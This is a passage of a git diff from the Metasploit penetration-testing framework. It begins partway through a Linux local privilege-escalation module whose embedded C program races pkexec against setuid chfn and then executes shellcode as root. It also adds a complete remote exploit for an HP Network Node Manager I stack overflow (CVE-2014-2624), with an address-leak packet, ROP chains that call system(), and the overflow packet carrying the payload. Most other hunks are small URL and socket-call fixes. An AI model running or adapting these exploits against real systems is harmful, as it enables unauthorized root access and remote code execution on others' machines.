owner. */ + __gid_t st_gid; /* Group ID of the file's group.*/ + __dev_t st_rdev; /* Device number, if device. */ + unsigned short int __pad2; + __off_t st_size; /* Size of file, in bytes. */ + __blksize_t st_blksize; /* Optimal block size for I/O. */ + __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ + __time_t st_atime; /* Time of last access. */ + unsigned long int st_atimensec; /* Nscecs of last access. */ + __time_t st_mtime; /* Time of last modification. */ + unsigned long int st_mtimensec; /* Nsecs of last modification. */ + __time_t st_ctime; /* Time of last status change. */ + unsigned long int st_ctimensec; /* Nsecs of last status change. */ + unsigned long int __unused4; + unsigned long int __unused5; +}; + +struct _pollfd { + int fd; /* file descriptor */ + short events; /* requested events */ + short revents; /* returned events */ +}; +typedef unsigned long size_t; +extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); +extern int mprotect(void *__addr, size_t __len, int __prot); +extern void exit(int __status); +extern int printf(const char *__format, ...); +extern __pid_t fork(void); +extern __time_t time(__time_t *t); +extern __pid_t getpid(void); +extern __uid_t geteuid(void); +extern void srand(unsigned int seed); +extern int snprintf(char *str, size_t size, const char *format, ...); +extern int pipe(int pipefd[2]); +extern int close(int fd); +extern void write(int fd, const void *buf, size_t count); +extern int dup2(int oldfd, int newfd); +extern void perror(const char *__s); +extern void read(int fd, void *buf, size_t count); +extern int execve(const char *filename, char *const argv[], char *const envp); +extern int usleep(int usec); +extern void *memset(void *s, int c, size_t n); +extern void *memcpy(void * dst, const void *src, size_t n); +extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout); +extern char *strstr(const char *haystack, const char *needle); +extern int rand(void); +extern int unlink(const char *__name); + +int main(int argc,char *argv[], char ** envp) +{ + + __time_t tim_seed1; + __pid_t pid_seed2; + int result; + struct _stat_buff stat_buff; + + char * chfn_path = "/usr/bin/chfn"; + char * cmd_path = ""; + + char * pkexec_argv[] = { + "/usr/bin/pkexec", + "/bin/sh", + "-c", + cmd_path, + NULL + }; + int pipe1[2]; + int pipe2[2]; + int pipe3[2]; + __pid_t pid,pid2 ; + char * chfn_argv[] = { + "/usr/bin/chfn", + NULL + }; + + char buff[8]; + char read_buff[4096]; + char real_path[512]; + + int count = 0; + int flag = 0; + unsigned int usleep1 = 0; + unsigned int usleep2 = 0; + + tim_seed1 = time(NULL); + pid_seed2 = getpid(); + srand(tim_seed1+pid_seed2); + + if(!geteuid()){ + + unlink(cmd_path); + + SHELLCODE + + int shellcode_size = 0; + int i; + unsigned long (*func)(); + func = mmap(NULL, 0x1000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0 + ); + mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); + dprintf("Copying %d bytes of shellcode\n", shellcode_size); + //for (i = 0; i < shellcode_size; i++) { + //(char)func[i] = (char)shellcode[i]; + memcpy(func,shellcode,shellcode_size); + //} + dprintf("Forking before calling shellcode: 0x%p\n", func); + if (fork()) { + exit(0); + } + func(); + } + + if(pipe(pipe1)){ + perror("pipe"); + exit(-2); + } + + for(count = COUNT; count && !flag; count--){ + dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2); + pid = fork(); + if( !pid ){ + // Parent + if( !pipe(pipe2)){ + if(!pipe(pipe3)){ + pid2 = fork(); + if(!pid2){ + // Parent 2 + close(1); + close(2); + close(pipe1[0]); + dup2(pipe1[1],2); + dup2(pipe1[1],1); + close(pipe1[1]); + close(pipe2[0]); + close(pipe3[1]); + write(pipe2[1],"\xFF",1); + read(pipe3[0],&buff,1); + execve(pkexec_argv[0],pkexec_argv,envp); + perror("execve pkexec"); + exit(-3); + } + close(0); + close(1); + close(2); + close(pipe2[1]); + close(pipe3[0]); + read(pipe2[0],&buff,1); + write(pipe3[1],"\xFF",1); + usleep(usleep1+usleep2); + execve(chfn_argv[0],chfn_argv,envp); + perror("execve setuid"); + exit(1); + } + } + perror("pipe3"); + exit(1); + } + + //Note: This is child, no pipe3 we use poll to monitor pipe1[0] + memset(pipe3,0,8); + + struct _pollfd * pollfd = (struct pollfd *)(&pipe3); + pollfd->fd = pipe1[0]; + pollfd->events = POLLRDNORM; + + if(poll(pollfd,1,1000) < 0){ + perror("poll"); + exit(1); + } + + if(pollfd->revents & POLLRDNORM ){ + memset(read_buff,0,4096); + read(pipe1[0],read_buff,4095); + if( strstr(read_buff,"does not match")){ + usleep1 += 100; + usleep2 = rand() % 1000; + }else{ + if(usleep1 > 0){ + usleep1 -= 100; + } + } + } + } + result = 0; + unlink(cmd_path); + return result; +} + +^ + main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) + main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") + main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") + main.gsub!(/COUNT/, datastore["Count"].to_s) + main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] + + cpu = nil + if target['Arch'] == ARCH_X86 + cpu = Metasm::Ia32.new + elsif target['Arch'] == ARCH_X86_64 + cpu = Metasm::X86_64.new + end + + begin + elf = Metasm::ELF.compile_c(cpu, main).encode_string + rescue + print_error "Metasm Encoding failed: #{$ERROR_INFO}" + elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}" + return + end + + print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" + rm_f executable_path + write_file(executable_path, elf) + output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") + output.each_line { |line| print_debug line.chomp } + + stime = Time.now.to_f + print_status "Starting the payload handler..." + until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f + Rex.sleep(1) + end + end +end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 090c3b641c..10348f2fc7 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 8c55d1c094..655f0c719e 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index de92dac21a..e9830d13ba 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 2da364dce3..73cf75c199 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index f5e2792116..7a00c6d689 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index 667e6ae0eb..bc04a2f684 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index 8f70d51748..f1e7fa938d 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb index 7244bfefe7..d0fe8ca222 100644 --- a/modules/exploits/linux/misc/gld_postfix.rb +++ b/modules/exploits/linux/misc/gld_postfix.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 5302d5b0a3..167e6fda78 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote # Read command output from socket if cmd/unix/generic payload was used if (datastore['CMD']) - res = sock.get + res = sock.get_once(-1, 10) print_status(res.to_s) if not res.empty? end diff --git a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb new file mode 100644 index 0000000000..aa7fcc5f60 --- /dev/null +++ b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb @@ -0,0 +1,229 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Network Node Manager I PMD Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The + vulnerability exists in the pmd service, due to the insecure usage of functions like + strcpy and strcat while handling stack_option packets with user controlled data. In + order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from + the stack and finally build the ROP chain to avoid NX. + }, + 'Author' => + [ + 'd(-_-)b', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2624'], + ['ZDI', '14-305'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 3000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk' + } + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + ['Automatic', {}], + ['HP NNMi 9.10 / CentOS 5', + { + # ptr to .rodata with format specifier + #.rodata:0003BE86 aS_1 db '%s',0 + 'ov_offset' => 0x3BE86, + :rop => :rop_hp_nnmi_9_10 + } + ], + ['HP NNMi 9.20 / CentOS 6', + { + # ptr to .rodata with format specifier + #.rodata:0003C2D6 aS_1 db '%s',0 + 'ov_offset' => 0x3c2d8, + :rop => :rop_hp_nnmi_9_20 + } + ] + ], + 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20 + 'DisclosureDate' => 'Sep 09 2014', + 'DefaultTarget' => 0 + )) + + register_options([ Opt::RPORT(7426) ], self.class) + end + + def check + header = [ + 0x2a5, # pmdmgr_init pkt + 0x3cc, # signature + 0xa0c, # signature + 0xca8 # signature + ].pack("V") + + data = "\x00" * (0xfa4 - header.length) + + pkt = header + data + + connect_udp + udp_sock.put(pkt) + res = udp_sock.timed_read(8, 1) + if res.blank? + # To mitigate MacOSX udp sockets behavior + # see https://dev.metasploit.com/redmine/issues/7480 + udp_sock.put(pkt) + res = udp_sock.timed_read(8) + end + disconnect_udp + + if res.blank? + return Exploit::CheckCode::Unknown + elsif res.length == 8 && res.unpack("V").first == 0x2a5 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def exploit + connect_udp + # info leak with a "proto_tbl" packet + print_status("Sending a 'proto_tbl' request...") + udp_sock.put(proto_tbl_pkt) + + res = udp_sock.timed_read(13964, 1) + if res.blank? + # To mitigate MacOSX udp sockets behavior + # see https://dev.metasploit.com/redmine/issues/7480 + udp_sock.put(proto_tbl_pkt) + res = udp_sock.timed_read(13964) + end + + if res.blank? + fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...") + end + + if target.name == 'Automatic' + print_status("Fingerprinting target...") + my_target = auto_target(res) + fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil? + else + my_target = target + fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res) + end + + print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...") + + # exploit with a "stack_option_pkt" packet + udp_sock.put(stack_option_pkt(my_target, @ov_base)) + + disconnect_udp + end + + def rop_hp_nnmi_9_10(ov_base) + rop = rand_text_alpha(775) + rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret + rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got + rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored: + # "PMD Stack option specified, but stack not available (user_controlled)" + rop << [0x808d7c2].pack("V") # pop ebp # ret + rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) + rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence: + #.text:0001D692 lea eax, [ebp+dest] + #.text:0001D698 push eax ; command + #.text:0001D699 call _system + rop + end + + def rop_hp_nnmi_9_20(ov_base) + rop = rand_text_alpha(775) + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret + rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence + #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028) + #.text:0001DAEC push eax ; command + #.text:0001DAED call _system + rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored: + # "PMD Stack option specified, but stack not available (user_controlled)" + rop << rand_text_alpha(4) # ebp: padding + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret + rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base + rop << rand_text_alpha(4) # ebx: padding + rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) + rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got) + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov) + rop << [0x80528BC].pack("V") # jmp eax + + rop + end + + def stack_option_pkt(t, ov_base) + hdr = [0x2a9].pack("V") # stack_option packet + data = "-SA" # stack name (invalid one 'A') + data << ";" # separator + data << self.send(t[:rop], ov_base) # malformed stack options + data << payload.encoded + data << ";\n" + data << "\x00" * (0xfa4 - data.length - hdr.length) + + hdr + data + end + + def proto_tbl_pkt + hdr = [0x2aa].pack("V") # proto_tbl packet + data = "\x00" * (0xfa4 - hdr.length) + + hdr + data + end + + def base(address, offset) + address - offset + end + + def find_ov_base(t, data) + print_status("Searching #{t.name} pointers...") + i = 0 + data.unpack("V*").each do |int| + if base(int, t['ov_offset']) % 0x1000 == 0 + print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}") + @ov_base = base(int, t['ov_offset']) + return true + end + i = i + 1 + end + + false + end + + def auto_target(data) + targets.each do |t| + next if t.name == 'Automatic' + if find_ov_base(t, data) + return t + end + end + + nil + end + +end diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 64ac53e265..ff70cf386d 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb index f238723076..35658aaeda 100644 --- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb +++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb index 778aafe12d..b03053e9be 100644 --- a/modules/exploits/linux/misc/ib_inet_connect.rb +++ b/modules/exploits/linux/misc/ib_inet_connect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_jrd8_create_database.rb b/modules/exploits/linux/misc/ib_jrd8_create_database.rb index c745a0145d..f29e9e831b 100644 --- a/modules/exploits/linux/misc/ib_jrd8_create_database.rb +++ b/modules/exploits/linux/misc/ib_jrd8_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_open_marker_file.rb b/modules/exploits/linux/misc/ib_open_marker_file.rb index 53d54df986..745eebb2f2 100644 --- a/modules/exploits/linux/misc/ib_open_marker_file.rb +++ b/modules/exploits/linux/misc/ib_open_marker_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb index d4cda50c05..0c38798c19 100644 --- a/modules/exploits/linux/misc/ib_pwd_db_aliased.rb +++ b/modules/exploits/linux/misc/ib_pwd_db_aliased.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/lprng_format_string.rb b/modules/exploits/linux/misc/lprng_format_string.rb index b2912b44ec..ea1f0cd5df 100644 --- a/modules/exploits/linux/misc/lprng_format_string.rb +++ b/modules/exploits/linux/misc/lprng_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/mongod_native_helper.rb b/modules/exploits/linux/misc/mongod_native_helper.rb index 05c22f6a2c..ff457795de 100644 --- a/modules/exploits/linux/misc/mongod_native_helper.rb +++ b/modules/exploits/linux/misc/mongod_native_helper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 814fded403..4543c65bd3 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/exploits/linux/misc/netsupport_manager_agent.rb b/modules/exploits/linux/misc/netsupport_manager_agent.rb index b8289ab8a6..1ab5730b3b 100644 --- a/modules/exploits/linux/misc/netsupport_manager_agent.rb +++ b/modules/exploits/linux/misc/netsupport_manager_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index c607eb6348..479740e771 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put(connection_request) - res = sock.get + res = sock.get_once(-1, 10) disconnect if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending Service Connection Request...") sock.put(connection_request) - res = sock.get + res = sock.get_once(-1, 10) if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending Overflow on Keyed Object Login...") sock.put(pkt) - sock.get + sock.get_once(-1, 10) disconnect end diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 8625e5baff..55dee6c759 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]), OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]), ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :noargs => @no_args, :temp => @upload_path, - :enc_format => @encoding_format + :enc_format => @encoding_format, + :flavor => :echo ) end diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 95cc260886..7ee164b10b 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 2e10c98e9f..0d680f20df 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb index 62ae921b52..bd086efcc5 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb index a57924d170..e4a4c225b8 100644 --- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb +++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,8 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit connect + banner = sock.get_once.to_s.strip - print_status "Banner: #{banner = sock.gets}" + print_status "Banner: #{banner}" # NOTE: orig poc shellcode len: 84 diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 5d4dfab9da..0194930466 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb index b3fdac4df4..59fc651054 100644 --- a/modules/exploits/linux/pptp/poptop_negative_read.rb +++ b/modules/exploits/linux/pptp/poptop_negative_read.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 09e78ef2f1..bf98f0278a 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index ebc5bfa949..71e465507d 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index f84eaab37b..1570d36da6 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 66c7d88f19..9bfc40dfab 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 67677f6c21..38588f92b4 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 9215b121f2..2823d626f0 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb index 6169dd0fbc..8e73c77db4 100644 --- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb +++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 